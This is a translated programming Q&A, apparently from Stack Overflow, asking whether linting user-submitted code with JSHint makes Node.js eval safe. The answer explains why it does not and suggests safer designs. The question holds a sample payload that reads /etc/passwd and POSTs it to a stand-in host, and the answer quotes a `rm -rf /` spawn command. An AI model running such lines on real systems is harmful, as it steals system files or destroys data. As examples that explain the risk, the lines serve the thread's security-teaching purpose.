如果在 eval 之前使用(例如)jshint 检查代码,javascript eval 是否仍然危险?

Is javascript eval still dangerous if code is checked using (for example) jshint before eval?

想象一下,例如(授权的)用户被允许将自定义格式化程序提交到 nodejs 服务器,该服务器将具有这样的代码。

var JSHINT = require('jshint').JSHINT;

function formatterFactory(code) {
   // we could pass more options to jshint...
   JSHINT(code, {undef:true},['input','output']);
   if (JSHINT.data().errors) {
      // throw error...
      console.dir(JSHINT.errors);
      throw new Error(JSHINT.data().errors[0].reason);
   }
   // otherwhise eval
   return function(input) {
     var output;
     eval(code);
     return output;
   }
}

var userNastyCode = '                   \
  var http = require("http");           \
  var fs = require("fs");               \
  http.request({                        \
    method: "POST",                     \
    host: "example.org",                \
    path: "/muahaha"                    \
  }, function(res) {                    \
    res.resume();                       \
  }).end(fs.readFileSync("/etc/passwd"));';

var userFormatter = formatterFactory(userNastyCode);

userFormatter('some thing');

// throws error 'require' is not defined.

用户提供的文本对 eval 永远不安全,或者至少应该被视为永远不安全,因为您可以投入证明安全性的工作量远远超过完成您想要的工作量不同的方式。

JSHint 着眼于代码语法和(可能有些主观)质量度量,恶意代码完全能够满足这两点。例如,如果你让我在你的服务器上 运行 这段可爱的代码可能会造成很大的损害:

require('child_process').spawn('rm', ['-rf', '/']);

JSHint 不会对此抱怨,如果您有自定义配置,我可以修改我的代码以通过,或者如评论中所述,只包含我自己的配置以使 JSHint 安静下来。你应该记住的是,如果你让我把你的代码交给运行,我可以做任何你能做的事情。这比只允许我直接编辑你的文件要难一些,但你没有真正的方法来阻止我做你不想做的事情。

在这种特殊情况下,我会考虑几件事:

  • 你真的需要用户编写完全任意的格式化程序吗?或许您可以给他们一些已知的选项供他们选择。
  • 您知道要格式化的数据是什么(数字、日期等)吗?您可以安全地让他们选择任意格式来应用于数据类型,例如 yyyy-mm-dd,而无需让他们选择自己的 JS,并且有很多库可以将格式字符串传递给。
  • 您可以 运行 他们的浏览器中的代码吗?他们已经可以 运行 在开发人员控制台中使用他们想要的任何 JS,因此如果您可以将其设置为使他们的格式化程序 运行 在类似的上下文中,您就不会打开任何漏洞。 (我从来没有尝试过这个;它仍然感觉很冒险。)

无论你最终得到什么,我都会在你自己的代码中禁用 JSHint 的 evil 选项 :)